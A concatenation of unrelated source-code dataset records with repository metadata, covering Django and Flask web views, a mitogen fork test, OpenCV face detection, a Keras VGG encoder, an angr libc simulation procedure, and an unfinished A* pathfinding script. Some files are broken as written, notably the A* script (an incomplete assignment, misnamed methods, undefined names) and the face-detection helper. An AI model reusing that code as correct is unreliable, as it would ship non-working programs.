e66ef8a30d9ee7d4ae236fbdf033840380c2e6a5
|
refs/heads/master
| 2022-12-30T03:00:59.973262
| 2020-09-23T06:03:44
| 2020-09-23T06:03:44
| 297,853,999
| 1
| 0
| null | 2020-10-05T06:38:33
| 2020-09-23T04:39:45
|
Python
|
UTF-8
|
Python
| false
| false
| 400
|
py
|
from django.shortcuts import render
from django.http import HttpResponse
from django.views.generic import ListView, DetailView
from .models import Producto
# Create your views here.
def home(request):
return HttpResponse("Hola, te encuentras en la página de inicio del Linio Express")
class ProductListView(ListView):
model = Producto
class ProductDetailView(DetailView):
model = Producto
|
[
"71747645+Nissel21@users.noreply.github.com"
] |
71747645+Nissel21@users.noreply.github.com
|
580f96d5338bff027bec064c4f87a82504567a6d
|
9cd9e89359f0da1750a19f0609619e3bbe4c536e
|
/tests/fork_test.py
|
61c0e16d67a73a9a7ee9b0fcc4c582058fe208d0
|
[
"BSD-3-Clause"
] |
permissive
|
ph448/mitogen
|
e961c95578c852908e33861da7226919547070f0
|
c24d29d3676aa122e25716450246306aaf4a797b
|
refs/heads/master
| 2020-03-19T01:48:11.362786
| 2018-05-28T05:00:57
| 2018-05-28T05:00:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,219
|
py
|
import ctypes
import os
import random
import ssl
import struct
import sys
import mitogen
import unittest2
import testlib
import plain_old_module
IS_64BIT = struct.calcsize('P') == 8
PLATFORM_TO_PATH = {
('darwin', False): '/usr/lib/libssl.dylib',
('darwin', True): '/usr/lib/libssl.dylib',
('linux2', False): '/usr/lib/libssl.so',
('linux2', True): '/usr/lib/x86_64-linux-gnu/libssl.so',
}
c_ssl = ctypes.CDLL(PLATFORM_TO_PATH[sys.platform, IS_64BIT])
c_ssl.RAND_pseudo_bytes.argtypes = [ctypes.c_char_p, ctypes.c_int]
c_ssl.RAND_pseudo_bytes.restype = ctypes.c_int
def ping():
return 123
def random_random():
return random.random()
def RAND_pseudo_bytes(n=32):
buf = ctypes.create_string_buffer(n)
assert 1 == c_ssl.RAND_pseudo_bytes(buf, n)
return buf[:]
def exercise_importer(n):
"""
Ensure the forked child has a sensible importer.
"""
sys.path.remove(testlib.DATA_DIR)
import simple_pkg.a
return simple_pkg.a.subtract_one_add_two(n)
class ForkTest(testlib.RouterMixin, unittest2.TestCase):
def test_okay(self):
context = self.router.fork()
self.assertNotEqual(context.call(os.getpid), os.getpid())
self.assertEqual(context.call(os.getppid), os.getpid())
def test_random_module_diverges(self):
context = self.router.fork()
self.assertNotEqual(context.call(random_random), random_random())
def test_ssl_module_diverges(self):
# Ensure generator state is initialized.
RAND_pseudo_bytes()
context = self.router.fork()
self.assertNotEqual(context.call(RAND_pseudo_bytes),
RAND_pseudo_bytes())
def test_importer(self):
context = self.router.fork()
self.assertEqual(2, context.call(exercise_importer, 1))
def test_on_start(self):
recv = mitogen.core.Receiver(self.router)
def on_start(econtext):
sender = mitogen.core.Sender(econtext.parent, recv.handle)
sender.send(123)
context = self.router.fork(on_start=on_start)
self.assertEquals(123, recv.get().unpickle())
class DoubleChildTest(testlib.RouterMixin, unittest2.TestCase):
def test_okay(self):
# When forking from the master process, Mitogen had nothing to do with
# setting up stdio -- that was inherited wherever the Master is running
# (supervisor, iTerm, etc). When forking from a Mitogen child context
# however, Mitogen owns all of fd 0, 1, and 2, and during the fork
# procedure, it deletes all of these descriptors. That leaves the
# process in a weird state that must be handled by some combination of
# fork.py and ExternalContext.main().
# Below we simply test whether ExternalContext.main() managed to boot
# successfully. In future, we need lots more tests.
c1 = self.router.fork()
c2 = self.router.fork(via=c1)
self.assertEquals(123, c2.call(ping))
def test_importer(self):
c1 = self.router.fork(name='c1')
c2 = self.router.fork(name='c2', via=c1)
self.assertEqual(2, c2.call(exercise_importer, 1))
if __name__ == '__main__':
unittest2.main()
|
[
"dw@botanicus.net"
] |
dw@botanicus.net
|
0168ac897bdf4a2f1b3a7c34a176bb31fecce4a7
|
cee42277672cbcc3a354b7feb604ce5ff9ae05eb
|
/face_recognition_windows/src/face_detected_haar.py
|
821fd7c47790fe94965979392f7a3e1604f7936d
|
[] |
no_license
|
linhhonblade/face_recognition_project
|
2ef9aa93475403c1b2dba1e4ae2347fc95c9a6a9
|
59f235a3f29d8a01599f20569e0eb7ebf0a63fd4
|
refs/heads/master
| 2020-04-08T01:59:26.584120
| 2018-11-21T14:37:08
| 2018-11-21T14:37:08
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,071
|
py
|
import cv2
#push image to memory for processing
def ImagePush():
path=input('link of image: ')
if path=="":
path='../../image/face_2.jpg'
img=cv2.imread(path,0)
return img
#show image
def ImageShow(img):
cv.imshow('image',img)
k=cv.waitKey()
while k!=ord('q'):
k=cv.waitKey()
#import module face using haar
def ImageDetect(img,mode=0):
if mode==0:
Module=input('link trained module: ')
else:
Module=''
if Module=='':
Module='../../haarcascades/haarcascade_frontalface_default.xml'
face_haar=cv2.CascadeClassifier(Module)
face=face_haar.detectMultiScale(img,1.1,5)
#print("Number of face is: ",len(face))
#print("local of point is: ",face)
if not mode==0:
return face
#add text to image
def face_draw_text(img,matrix,text):
(x,y,w,h)=matrix[0]
cv2.putText(img,text,(x,y),cv2.FONT_HERSHEY_PLAIN,1.5,(0, 255, 0), 2)
#add rectangle to image
def face_draw_rectangle(img,face):
for(x,y,w,h) in face:
cv2.rectangle(img,(x,y),(x+w,y+h),(0,255,0),2)
|
[
"lenhuchuhiep99@gmail.com"
] |
lenhuchuhiep99@gmail.com
|
269e711a13c5b31a03861276ace784b6574ce8fc
|
626c4e5c797e943ffa1a31560b929f3646963c6a
|
/bluelog/blueprints/blog.py
|
c0c1ee564b5e1cd5cf8aaa01cddc68c6f9319048
|
[] |
no_license
|
BrightHsu/Myblog
|
b53543363205c104b017ab6b2c0d2ef232fbecde
|
73b2d7f926683b18da4fe505de0205de488782b6
|
refs/heads/master
| 2023-03-27T22:21:48.583778
| 2020-06-12T02:13:42
| 2020-06-12T02:13:42
| 270,941,342
| 0
| 0
| null | 2021-03-20T04:27:26
| 2020-06-09T08:08:16
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 5,368
|
py
|
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Time : 2020/6/1 11:42
@Author : David Ben
@FileName: __init__.py.py
@Email: hsudavid@163.com
@Software: PyCharm
"""
from flask import Blueprint, render_template, flash, redirect, url_for, request, make_response
from flask import current_app
from bluelog.models import Post, Comment, Reply, Category
from bluelog.utils import redirect_back
from bluelog.forms import CommentForm, AdminCommentForm
from flask_login import current_user
from bluelog.extensions import db
from bluelog.emails import send_new_comment_email, send_new_reply_email
blog_bp = Blueprint('blog', __name__)
@blog_bp.route('/')
def index():
page = request.args.get('page', 1, type=int)
per_page = current_app.config['BLUELOG_POST_PER_PAGE']
pagination = Post.query.order_by(
Post.timestamp.desc()).paginate(
page, per_page)
posts = pagination.items
return render_template(
'blog/index.html',
pagination=pagination,
posts=posts)
@blog_bp.route('/about')
def about():
return render_template('blog/about.html')
@blog_bp.route('/change/<path:theme>')
def change_theme(theme):
response = make_response(redirect_back())
response.set_cookie('theme', theme, max_age=30 * 24 * 60 * 60)
return response
@blog_bp.route('/show/post/<int:post_id>', methods=['GET', 'POST'])
def show_post(post_id):
post = Post.query.get_or_404(post_id)
page = request.args.get('page', 1, type=int)
per_page = current_app.config['BLUELOG_COMMENT_PRE_PAGE']
pagination = Comment.query.with_parent(post).filter_by(
reviewed=True) .order_by(
Comment.timestamp.asc()).paginate(
page=page,
per_page=per_page)
comments = pagination.items
if current_user.is_authenticated:
form = AdminCommentForm()
form.name.data = current_user.name
form.email.data = current_app.config['BLUELOG_EMAIL']
form.site.data = url_for('.index')
reviewed = True
from_admin = True
else:
form = CommentForm()
reviewed = False
from_admin = False
if form.validate_on_submit():
author = form.name.data
email = form.email.data
site = form.site.data
body = form.comment.data
comment = Comment(
author=author,
email=email,
site=site,
body=body,
reviewed=reviewed,
from_admin=from_admin,
post=post)
db.session.add(comment)
db.session.commit()
if current_user.is_authenticated:
flash('您的评论已发送', 'success')
else:
flash('感谢您的评论, 该评论需要通过审核后才能显示', 'info')
send_new_comment_email(post) # 发送提醒邮件给管理员
return redirect(url_for('.show_post', post_id=post.id))
return render_template(
'blog/post.html',
post=post,
comments=comments,
pagination=pagination,
form=form)
@blog_bp.route('/reply/form/<int:comment_id>', methods=['POST'])
def reply_form(comment_id):
comment = Comment.query.get_or_404(comment_id)
if current_user.is_authenticated:
form = AdminCommentForm()
form.name.data = current_user.name
form.email.data = current_app.config['BLUELOG_EMAIL']
form.site.data = url_for('.index')
# reviewed = True
from_admin = True
else:
form = CommentForm()
# reviewed = False
from_admin = False
if form.validate_on_submit():
author = form.name.data
email = form.email.data
site = form.site.data
body = form.comment.data
reply = Reply(author=author, email=email, site=site, body=body, from_admin=from_admin,
comment=comment)
db.session.add(reply)
db.session.commit()
flash('您的评论已发送', 'success')
send_new_reply_email(comment) # 发送提醒邮件给评论人
return redirect(url_for('.show_post', post_id=comment.post_id))
return redirect_back()
@blog_bp.route('/show/category/<int:category_id>')
def show_category(category_id):
category = Category.query.get_or_404(category_id)
page = request.args.get('page', 1, type=int)
per_page = current_app.config['BLUELOG_POST_PER_PAGE']
pagination = Post.query.with_parent(category).order_by(
Post.timestamp.desc()).paginate(
page=page, per_page=per_page)
posts = pagination.items
return render_template(
'blog/category.html',
category=category,
pagination=pagination,
posts=posts)
@blog_bp.route('/reply/comment/<int:comment_id>')
def reply_comment(comment_id):
comment = Comment.query.get_or_404(comment_id)
r_id = request.args.get('next')
page = request.args.get('page')
if not comment.post.can_comment:
flash('评论已关闭, 无法进行评论', 'warning')
return redirect(url_for('.show_post', post_id=comment.post.id))
return redirect(
url_for(
'.show_post',
post_id=comment.post_id,
reply=comment_id,
author=comment.author,
r_id=r_id,
page=page,
admin=comment.from_admin) +
'#comment-form')
|
[
"hsudavid@163.com"
] |
hsudavid@163.com
|
d1ef46174618edcfd908c875a157a06da832d91a
|
602ea0c05970cbd766df068b003671c561f59661
|
/tools/perf/benchmarks/jetstream2.py
|
19f31f16c1bc952e688b1bb19284defef99e3e9d
|
[
"LicenseRef-scancode-unknown-license-reference",
"LGPL-2.0-or-later",
"MIT",
"BSD-3-Clause",
"LGPL-2.1-only",
"Apache-2.0",
"LGPL-2.0-only",
"APSL-2.0",
"LicenseRef-scancode-unknown",
"Zlib"
] |
permissive
|
VitalyKononenko/chromium
|
088de78a639375b073cabb7665afc638334e8672
|
b8ad2cadb6a163269cd7851bc7962744743785bd
|
refs/heads/master
| 2023-03-01T10:15:00.815394
| 2019-08-15T19:51:40
| 2019-08-15T19:51:40
| 202,603,102
| 1
| 0
|
BSD-3-Clause
| 2019-08-15T19:54:34
| 2019-08-15T19:54:33
| null |
UTF-8
|
Python
| false
| false
| 1,655
|
py
|
# Copyright 2019 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Runs Apple's JetStream 2 benchmark.
JetStream 2 combines together a variety of JavaScript and Web Assembly
benchmarks, covering a variety of advanced workloads and programming
techniques, and reports a single score that balances them using a geometric
mean.
Each benchmark measures a distinct workload, and no single optimization
technique is sufficient to speed up all benchmarks. Some benchmarks
demonstrate tradeoffs, and aggressive or specialized optimizations for one
benchmark might make another benchmark slower. JetStream 2 rewards browsers
that start up quickly, execute code quickly, and continue running smoothly.
Each benchmark in JetStream 2 computes its own individual score. JetStream 2
weighs each benchmark equally, taking the geometric mean over each individual
benchmark's score to compute the overall JetStream 2 score.
"""
from telemetry import benchmark
import page_sets
from benchmarks import press
@benchmark.Info(emails=['hablich@chromium.org', 'tcwang@chromium.org'],
component='Blink>JavaScript',
documentation_url='https://browserbench.org/JetStream/in-depth.html')
class Jetstream2(press._PressBenchmark): # pylint: disable=protected-access
"""JetStream2, a combination of JavaScript and Web Assembly benchmarks.
Run all the Jetstream 2 benchmarks by default.
"""
@classmethod
def Name(cls):
return 'UNSCHEDULED_jetstream2'
def CreateStorySet(self, options):
return page_sets.Jetstream2StorySet()
|
[
"commit-bot@chromium.org"
] |
commit-bot@chromium.org
|
aee870e083624fa9410fb6c88a23bfa18a7fa8c8
|
31bfebbc0739bf8e81fb63b1fc35dab45c1aee8c
|
/bug_seeding/bug_seeding_approaches/SeedBugs.py
|
a5b1525f267786c4678522c245d816d571eb3078
|
[
"MIT"
] |
permissive
|
mxmws/SemSeed
|
85527f1c4c1b80dce38c2687e6b725967c287484
|
278bf1ae3bb371bbe98965556d1fbb3a38b8c6f5
|
refs/heads/main
| 2023-06-03T06:04:17.966491
| 2021-06-17T17:40:39
| 2021-06-17T17:40:39
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,595
|
py
|
"""
Created on 24-March-2020
@author Jibesh Patra
"""
from abc import ABC, abstractmethod
from typing import List, Tuple
class SeedBugs(ABC):
def __init__(self, bug_seeding_pattern: dict, target_location: dict, file_path: str):
# Stuffs about the bug. Eg. Buggy, Correct, Surrounding tokens, Usages Identifiers, Literals etc.
self.bug_metadata = {
'file_name_where_intended': file_path,
"target_token_sequence-Correct": target_location['tokens'], # Abstract token sequence that will be mutated
"target_token_sequence-Buggy": [], # Concrete token sequence generated after mutation
"token_sequence_abstraction-Correct": target_location['abstractedTokens'],
"token_sequence_abstraction-Buggy": [],
"target_line_range": {'line': target_location['line'], 'range': target_location['range']},
"num_of_available_identifiers_to_choose_from": 0,
"num_of_available_literals_to_choose_from": 0,
"error": False
}
self.bug_seeding_pattern = bug_seeding_pattern
self.target_location = target_location
@abstractmethod
def is_matching_token_sequence(self) -> bool:
"""
For a 'syntactic' match check, this will return True if the
token sequence in abstracted form match.
For a 'semantic' matching this will depend on the cosine distance of the
embedding of the tokens along with the threshold.
:return:
"""
raise NotImplementedError
@abstractmethod
def apply_pattern(self) -> List[List]:
"""
Seed a bug by applying a given pattern
:return:
"""
raise NotImplementedError
def extract_tokens_of_kinds(self, given_token_seq: List[str]) -> Tuple[List, List, List]:
try:
assert len(given_token_seq) == len(self.target_location['abstractedTokens'])
except AssertionError as e:
print("The lengths of these token sequences should be same")
tokens = []
idf_tokens = []
lit_tokens = []
idf_prefix = 'Idf_'
lit_prefix = 'Lit_'
for i, abs_tok in enumerate(self.target_location['abstractedTokens']):
concrete_token = given_token_seq[i]
if abs_tok.startswith(idf_prefix) or abs_tok.startswith(lit_prefix):
tokens.append(concrete_token)
if abs_tok.startswith(idf_prefix):
idf_tokens.append(concrete_token)
elif abs_tok.startswith(lit_prefix):
lit_tokens.append(concrete_token)
return tokens, idf_tokens, lit_tokens
def replace_target_with_mutated_token_sequence(self, token_list: List, token_range_list: List,
mutated_token_sequence: List) -> List:
"""
Once the mutated token sequence has been found replace the target token sequence with this new
:param token_list: The complete list of the token in the file
:param token_range_list: The ranges of each token contained in the token list
:param mutated_token_sequence: The token sequence that will be inserted to seed bugs
:return: Token sequence after seeding the bug
"""
assert len(token_list) == len(token_range_list)
start_range = self.target_location["range"][0]
end_range = self.target_location["range"][1]
indices_to_remove = [i for i, rng in enumerate(token_range_list) if int(rng.split(
'-')[0]) >= start_range and int(rng.split('-')[1]) <= end_range]
part1 = token_list[:indices_to_remove[0]]
part2 = token_list[indices_to_remove[-1] + 1:]
token_list_after_seeding = part1 + mutated_token_sequence + part2
assert len(token_list_after_seeding) == len(token_list) - len(self.target_location['tokens']) + len(
mutated_token_sequence)
return token_list_after_seeding
def get_abstract_token_to_concrete_mapping(self) -> dict:
"""
This creates a mapping of the abstract token to its actual value
Eg. 'Idf_1' -> 'a'
"""
mappings = {}
for i, abstract_tok in enumerate(self.target_location['abstractedTokens']):
if not abstract_tok.startswith('Idf_') and not abstract_tok.startswith('Lit_'):
continue
mappings[abstract_tok] = self.target_location['tokens'][i]
return mappings
def write_bug_seeded_file(self):
pass
def __call__(self, *args, **kwargs):
pass
|
[
"jibesh@Jibeshs-MacBook-Pro.local"
] |
jibesh@Jibeshs-MacBook-Pro.local
|
d9f3996fc6b6e11676bb6d73c8c96a5562d5fcec
|
bb33e6be8316f35decbb2b81badf2b6dcf7df515
|
/source/res/scripts/client/gui/Scaleform/daapi/view/lobby/tank_setup/ammunition_setup_vehicle.py
|
572f09c20630d76920f59564d58da4e89187b639
|
[] |
no_license
|
StranikS-Scan/WorldOfTanks-Decompiled
|
999c9567de38c32c760ab72c21c00ea7bc20990c
|
d2fe9c195825ececc728e87a02983908b7ea9199
|
refs/heads/1.18
| 2023-08-25T17:39:27.718097
| 2022-09-22T06:49:44
| 2022-09-22T06:49:44
| 148,696,315
| 103
| 39
| null | 2022-09-14T17:50:03
| 2018-09-13T20:49:11
|
Python
|
UTF-8
|
Python
| false
| false
| 972
|
py
|
# Python bytecode 2.7 (decompiled from Python 2.7)
# Embedded file name: scripts/client/gui/Scaleform/daapi/view/lobby/tank_setup/ammunition_setup_vehicle.py
from CurrentVehicle import g_currentVehicle
from helpers import dependency
from skeletons.gui.shared import IItemsCache
class _TankSetupVehicle(object):
__slots__ = ('__vehicle',)
_itemsCache = dependency.descriptor(IItemsCache)
def __init__(self):
super(_TankSetupVehicle, self).__init__()
self.__vehicle = None
return
def setVehicle(self, value):
self.__vehicle = value
@property
def item(self):
return self.__vehicle or g_currentVehicle.item
@property
def defaultItem(self):
return g_currentVehicle.item if g_currentVehicle.isPresent() else None
def isPresent(self):
return self.__vehicle is not None
def dispose(self):
self.__vehicle = None
return
g_tankSetupVehicle = _TankSetupVehicle()
|
[
"StranikS_Scan@mail.ru"
] |
StranikS_Scan@mail.ru
|
e017bc2e2567077ac2bfdb3a42079d3e0e32bf69
|
c76d7277493f28ab3f7dc505c38fbcc7d203317e
|
/cv/segmentation/1.segnet/networks/vggnet.py
|
9e9825d6e8b1ddec9da5a320a915997412dfe88f
|
[] |
no_license
|
niuxinzan/tf20_dl
|
4c351a9b77bc14cfb8368ae6bf83e4e8d7296717
|
7792aad655f77717bca4161a5053b51769427453
|
refs/heads/master
| 2023-01-08T11:19:18.408708
| 2020-11-09T07:02:43
| 2020-11-09T07:02:43
| 305,016,171
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,232
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Authon :buf
# @Email :niuxinzan@cennavi.com.cn
# @File :vggnet.py
# Created by iFantastic on 2020/10/21
import tensorflow as tf
from tensorflow.keras import models,layers,activations
def vggnet_encoder(input_height=416,input_width=416,pretrained='imagenet'):
img_input = tf.keras.Input(shape=(input_height,input_width,3))
# 416,416,3 -> 208,208,64
x = layers.Conv2D(filters=64,kernel_size=3,padding='same',name='block1_conv1')(img_input)
x = layers.Conv2D(filters=64,kernel_size=3,padding='same',name='block1_conv2')(x)
x = layers.MaxPooling2D(pool_size=(2,2),strides=(2,2),name='block1_pool')(x)
f1 = x
# 208,208,64 -> 128,128,128
x = layers.Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv1')(x)
x = layers.Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv2')(x)
x = layers.MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(x)
f2 = x
# 104,104,128 -> 52,52,256
x = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv1')(x)
x = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv2')(x)
x = layers.Conv2D(256, (3, 3), activation='relu', padding='same', name='block3_conv3')(x)
x = layers.MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(x)
f3 = x
# 52,52,256 -> 26,26,512
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv1')(x)
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv2')(x)
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block4_conv3')(x)
x = layers.MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')(x)
f4 = x
# 26,26,512 -> 13,13,512
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv1')(x)
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv2')(x)
x = layers.Conv2D(512, (3, 3), activation='relu', padding='same', name='block5_conv3')(x)
x = layers.MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool')(x)
f5 = x
return img_input, [f1, f2, f3, f4, f5]
|
[
"nxz0507@163.com"
] |
nxz0507@163.com
|
6b354ee59c681faf08710f4c4a73bf94b911ddca
|
33af6185b48bd76f97f0a74390a3a812ee216c78
|
/angr/angr/procedures/glibc/__libc_start_main.py
|
12aa852769b769b404e992c1b45228fc1eb2aa92
|
[
"BSD-2-Clause"
] |
permissive
|
Ruide/angr-dev
|
dab0cabd907fce47ac698f890c3f3a8b80ab7e2a
|
964dc80c758e25c698c2cbcc454ef5954c5fa0a0
|
refs/heads/master
| 2022-11-10T11:27:13.355024
| 2017-10-07T14:29:09
| 2017-10-07T14:29:09
| 104,417,044
| 0
| 1
|
BSD-2-Clause
| 2022-10-16T04:48:10
| 2017-09-22T01:35:12
|
C
|
UTF-8
|
Python
| false
| false
| 8,177
|
py
|
import logging
import pyvex
import angr
l = logging.getLogger("angr.procedures.glibc.__libc_start_main")
######################################
# __libc_start_main
######################################
class __libc_start_main(angr.SimProcedure):
#pylint:disable=arguments-differ,unused-argument,attribute-defined-outside-init
ADDS_EXITS = True
NO_RET = True
IS_FUNCTION = True
local_vars = ('main', 'argc', 'argv', 'init', 'fini')
def _initialize_b_loc_table(self):
"""
Initialize ptable for ctype
See __ctype_b_loc.c in libc implementation
"""
malloc = angr.SIM_PROCEDURES['libc']['malloc']
table = self.inline_call(malloc, 768).ret_expr
table_ptr = self.inline_call(malloc, self.state.arch.bits / 8).ret_expr
for pos, c in enumerate(self.state.libc.LOCALE_ARRAY):
# Each entry is 2 bytes
self.state.memory.store(table + (pos*2),
self.state.se.BVV(c, 16),
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
# Offset for negative chars
# 256 because 2 bytes each, -128 * 2
table += 256
self.state.memory.store(table_ptr,
table,
size=self.state.arch.bits / 8,
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
self.state.libc.ctype_b_loc_table_ptr = table_ptr
def _initialize_tolower_loc_table(self):
"""
Initialize ptable for ctype
See __ctype_tolower_loc.c in libc implementation
"""
malloc = angr.SIM_PROCEDURES['libc']['malloc']
# 384 entries, 4 bytes each
table = self.inline_call(malloc, 384*4).ret_expr
table_ptr = self.inline_call(malloc, self.state.arch.bits / 8).ret_expr
for pos, c in enumerate(self.state.libc.TOLOWER_LOC_ARRAY):
self.state.memory.store(table + (pos * 4),
self.state.se.BVV(c, 32),
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
# Offset for negative chars: -128 index (4 bytes per index)
table += (128 * 4)
self.state.memory.store(table_ptr,
table,
size=self.state.arch.bits / 8,
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
self.state.libc.ctype_tolower_loc_table_ptr = table_ptr
def _initialize_toupper_loc_table(self):
"""
Initialize ptable for ctype
See __ctype_toupper_loc.c in libc implementation
"""
malloc = angr.SIM_PROCEDURES['libc']['malloc']
# 384 entries, 4 bytes each
table = self.inline_call(malloc, 384*4).ret_expr
table_ptr = self.inline_call(malloc, self.state.arch.bits / 8).ret_expr
for pos, c in enumerate(self.state.libc.TOUPPER_LOC_ARRAY):
self.state.memory.store(table + (pos * 4),
self.state.se.BVV(c, 32),
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
# Offset for negative chars: -128 index (4 bytes per index)
table += (128 * 4)
self.state.memory.store(table_ptr,
table,
size=self.state.arch.bits / 8,
endness=self.state.arch.memory_endness,
inspect=False,
disable_actions=True,
)
self.state.libc.ctype_toupper_loc_table_ptr = table_ptr
def _initialize_ctype_table(self):
self._initialize_b_loc_table()
self._initialize_tolower_loc_table()
self._initialize_toupper_loc_table()
@property
def envp(self):
return self.argv + (self.argc+1)*self.state.arch.bytes
def run(self, main, argc, argv, init, fini):
# TODO: handle symbolic and static modes
# TODO: add argument types
self._initialize_ctype_table()
self.main, self.argc, self.argv, self.init, self.fini = self._extract_args(self.state, main, argc, argv, init,
fini)
# TODO: __cxa_atexit calls for various at-exit needs
self.call(self.init, (self.argc, self.argv, self.envp), 'after_init')
def after_init(self, main, argc, argv, init, fini, exit_addr=0):
if isinstance(self.state.arch, ArchAMD64):
# (rsp+8) must be aligned to 16 as required by System V ABI
# ref: http://www.x86-64.org/documentation/abi.pdf , page 16
self.state.regs.rsp = (self.state.regs.rsp & 0xfffffffffffffff0) - 8
self.call(self.main, (self.argc, self.argv, self.envp), 'after_main')
def after_main(self, main, argc, argv, init, fini, exit_addr=0):
self.exit(0)
def static_exits(self, blocks):
# Execute those blocks with a blank state, and then dump the arguments
blank_state = angr.SimState(project=self.project, mode="fastpath")
# set up the stack pointer
blank_state.regs.sp = 0x7fffffff
# Execute each block
state = blank_state
for b in blocks:
# state.regs.ip = next(iter(stmt for stmt in b.statements if isinstance(stmt, pyvex.IRStmt.IMark))).addr
irsb = angr.SimEngineVEX().process(state, b,
force_addr=next(iter(stmt for stmt in b.statements if isinstance(stmt, pyvex.IRStmt.IMark))).addr)
if irsb.successors:
state = irsb.successors[0]
else:
break
cc = angr.DEFAULT_CC[self.arch.name](self.arch)
args = [ cc.arg(state, _) for _ in xrange(5) ]
main, _, _, init, fini = self._extract_args(blank_state, *args)
all_exits = [
(init, 'Ijk_Call'),
(main, 'Ijk_Call'),
(fini, 'Ijk_Call'),
]
return all_exits
@staticmethod
def _extract_args(state, main, argc, argv, init, fini):
"""
Extract arguments and set them to
:param angr.sim_state.SimState state: The program state.
:param main: An argument to __libc_start_main.
:param argc: An argument to __libc_start_main.
:param argv: An argument to __libc_start_main.
:param init: An argument to __libc_start_main.
:param fini: An argument to __libc_start_main.
:return: A tuple of five elements: (main, argc, argv, init, fini)
:rtype: tuple
"""
main_ = main
argc_ = argc
argv_ = argv
init_ = init
fini_ = fini
if state.arch.name == "PPC32":
# for some dumb reason, PPC passes arguments to libc_start_main in some completely absurd way
argv_ = argc_
argc_ = main_
main_ = state.mem[state.regs.r8 + 4:].int.resolved
init_ = state.mem[state.regs.r8 + 8:].int.resolved
fini_ = state.mem[state.regs.r8 + 12:].int.resolved
elif state.arch.name == "PPC64":
main_ = state.mem[state.regs.r8 + 8:].long.resolved
init_ = state.mem[state.regs.r8 + 16:].long.resolved
fini_ = state.mem[state.regs.r8 + 24:].long.resolved
return main_, argc_, argv_, init_, fini_
from archinfo import ArchAMD64
|
[
"rd.cheung.bupt.sms@gmail.com"
] |
rd.cheung.bupt.sms@gmail.com
|
37913d32b1f43d61aebe7d69c85c3aed7ea2fbc1
|
baea358f397970314b60b2e3420e9925c241b335
|
/hlt/a_star.py
|
c1d33dba5dd5801078f9069a3c7e90f5913558c5
|
[] |
no_license
|
adozendonuts/hb1
|
2ea366941f3e4f3f5434eeca9da3583ec7ad23a7
|
fbaf95b98e832ff75ed97f80596b7b5f135a53bd
|
refs/heads/master
| 2021-07-22T00:00:28.037915
| 2017-11-01T07:15:23
| 2017-11-01T07:15:23
| 109,086,987
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,780
|
py
|
"""
A* Pathfinding on an exhaustive rectangular grid
TODO: change map representation to planets + in-between points for long distances, 20 unit radius for each ship
"""
import collections
import heapq
class Queue:
"""
A data structure used by the algorithm to determine which order to process the locations
"""
def __init__(self):
self.elements = collections.deque()
def empty(self):
return len(self.elements) == 0
def put(self, x):
self.elements.append(x)
def get(self):
return self.elements.popleft()
class SimpleGraph:
"""
A data structure that identifies the neighbors for each location
"""
def __init__(self):
self.edges = {}
def neighbors(self, id):
return self.edges[id]
class SquareGrid:
"""
A data structure that defines a square (rectangular) grid as a series of locations
"""
def __init__(self, width, height):
self.width = width
self.height = height
self.walls = []
def in_bounds(self, id):
(x, y) = id
return 0 <= x < self.width and 0 <= y < self.height
def passable(self, id):
return id not in self.walls
def neightbors(self, id):
(x, y) = id
results = [(x + 1, y), (x, y - 1), (x - 1, y), (x, y + 1)]
if (x + y) % 2 == 0: results.reverse() # aesthetics
results = filter(self.in_bounds, results)
results = filter(self.passable, results)
return results
class GridWithWeights(SquareGrid):
def __init__(self, width, height):
super().__init__(width, height)
self.weights = {}
def cost(self, from_node, to_node):
return self.weights.get(to_node, 1)
class PriorityQueue:
def __int__(self):
self.elements = []
def empty(self):
return len(self.elements) == 0
def put(self, item, priority):
heapq.heappush(self.elements, (priority, item))
def get(self):
return heapq.heappush(self.elements)[1]
# TODO start implementation at 1.3.3 SEARCH
# example_graph = SimpleGraph()
# example_graph.edges = {
# 'A': ['B'],
# 'B': ['A', 'C', 'D'],
# 'C': ['A'],
# 'D': ['E', 'A'],
# 'E': ['B'],
# }
g = SquareGrid(30, 15)
g.walls =
def breadth_first_search_1(graph, start):
# print out what we find
frontier = Queue()
frontier.put(start)
came_from = {}
came_from[start] = None
while not frontier.empty():
current = frontier.get()
if current == goal():
break
for next in graph.neighbors(current):
if next not in came_from:
frontier.put(next)
came_from[next] = True
return came_from
breadth_first_search_1(example_graph, "A")
|
[
"isoybean@gmail.com"
] |
isoybean@gmail.com
|
1c412f4178575b10412fd80ba6e0c1dd27a43979
|
98cd4b641929e35cd3482b058e00ef7d0a151126
|
/Hafta3_Odev_2.py
|
f4a0709fe786e38511049dd3e91b7eff0e4fe905
|
[] |
no_license
|
organichacker/KOU_Python
|
60abaa9cf5eec1d0509d9d7113f152ee60e30cfa
|
d4534d94ef7a32c2e684f5baaac2a7ff30dee96b
|
refs/heads/main
| 2023-04-25T09:01:51.586110
| 2021-05-22T14:20:48
